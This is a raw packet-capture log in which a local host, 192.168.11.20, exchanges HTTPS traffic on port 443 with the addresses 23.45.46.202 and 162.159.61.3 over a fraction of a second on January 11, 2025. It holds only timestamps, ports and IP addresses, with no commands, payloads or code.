Jan 11, 2025 07:54:32.483546972 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.483653069 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.483755112 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.486210108 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.488029003 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.488117933 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.488231897 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.488306046 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.488353014 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.488529921 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.488557100 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.488626003 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.488740921 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.488857985 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.488859892 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.488992929 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.493812084 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.494239092 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.494548082 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.494628906 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.494756937 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.494827032 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.494944096 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.495065928 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.495160103 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.495266914 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.495299101 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.495431900 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.495517969 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.495843887 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.497473955 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.497580051 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.497711897 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.497805119 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.497808933 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.497927904 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.498045921 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.498131990 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.498167992 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.498387098 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.498482943 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.498558044 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.499138117 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.499371052 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.499460936 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.499799967 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.500006914 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.500058889 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.500293016 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.502659082 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:32.503760099 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:32.504039049 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.504190922 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.504353046 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.504422903 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.504602909 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.504637957 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.504777908 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.504837036 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.504972935 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.505058050 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.505507946 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.505940914 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.506181002 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.508447886 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.518171072 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.518301964 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.518429995 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.518517971 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.518527985 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.518707037 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.518800974 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.518937111 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.519057035 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.519085884 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.519216061 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.519347906 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.519514084 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.519578934 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.519577026 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.519625902 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.519702911 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:32.519793987 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.519896030 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.520001888 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.520121098 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.520147085 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.520193100 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.520256042 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.520395041 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.521781921 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.521923065 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.522017002 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.522147894 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.522278070 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.522435904 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.522515059 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.522552967 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.522579908 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.522682905 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.522816896 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.523092031 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.528881073 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.529001951 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.529068947 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.529186964 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.529306889 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.529457092 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.529489994 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.529556036 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.529670000 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.529798985 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.529896975 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.534041882 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.534071922 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.534264088 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.534389019 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.534512997 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.534538984 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.534554958 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.534665108 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.534754992 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.534890890 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.535015106 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.535139084 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.540694952 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.541975975 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.541999102 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.542272091 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.579979897 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.601891994 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.602107048 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.609858990 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.612304926 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.615717888 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.615909100 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.616023064 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.616117954 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.616242886 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.616364002 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.616743088 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.616836071 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.616955996 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.617075920 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.617198944 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.617302895 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.617309093 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.617507935 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.624209881 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.626343966 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.626458883 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.626672029 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.626725912 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.626758099 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.626820087 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.626977921 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.627100945 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.627186060 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.627305031 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.627448082 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.627454996 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.627772093 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.628226995 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.628431082 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.628482103 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.628547907 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.628786087 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.628842115 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.628889084 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.629163027 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.633347988 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.633614063 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.633620977 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.633807898 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.633882999 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.638993025 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:32.639486074 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:32.640639067 CET	443	62708	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:32.640871048 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.659785032 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.659904957 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.660022974 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.660144091 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.660290003 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.660446882 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.660557985 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.660625935 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.660784960 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.660881042 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.660989046 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.661039114 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.661149025 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.661267996 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.661375999 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.661417961 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.661499023 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.661583900 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.661632061 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.661752939 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.661871910 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.661994934 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.662115097 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.662303925 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.662408113 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.662518978 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.662623882 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.662748098 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.662817955 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.662874937 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.662970066 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.663081884 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.663201094 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.663326979 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.663446903 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.663604021 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.663742065 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.663851976 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.663954020 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.663991928 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.664051056 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.664167881 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.664288998 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.664447069 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.664530039 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.664652109 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.664772987 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.664892912 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.665014982 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.665133953 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.665256023 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.665286064 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.665435076 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.665524006 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.665618896 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.665772915 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.665859938 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.665913105 CET	62708	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:32.666019917 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.666100979 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.666224003 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.666284084 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.666373968 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.666394949 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.666476011 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.666548967 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.666668892 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.666791916 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.666893959 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.667004108 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.667125940 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.667246103 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.667366982 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.667397022 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.667505980 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.667609930 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.667730093 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.667856932 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.667970896 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.668097973 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.668171883 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.668297052 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.668344975 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.668423891 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.668584108 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.668663979 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.668781042 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.668900013 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.668982983 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.669022083 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.669142008 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.669264078 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.669416904 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.669549942 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.669653893 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.669774055 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.669864893 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.669981003 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.669992924 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.670110941 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.670298100 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.670403004 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.670500040 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.670636892 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.670715094 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.670859098 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.670988083 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.671143055 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.671247005 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.671389103 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.671437979 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.671494961 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.671629906 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.671719074 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.671799898 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.671919107 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.672044992 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.672161102 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.672281027 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.672405005 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.672523975 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.672646046 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.672698975 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.672816992 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.672894001 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.673007965 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.673142910 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.673273087 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.673371077 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.673494101 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.673613071 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.673661947 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.673763990 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.673885107 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.674005032 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.674129963 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.674245119 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.674307108 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.674386024 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.674387932 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.674555063 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.674643993 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.674772024 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.674854040 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.674974918 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.675093889 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.675215960 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.675369024 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.675482035 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.675602913 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.675614119 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.675726891 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.675817013 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.675873041 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:32.675982952 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.676057100 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.676178932 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.676300049 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.676419020 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.676548004 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:32.676661015 CET	443	61038	23.45.46.202	192.168.11.20
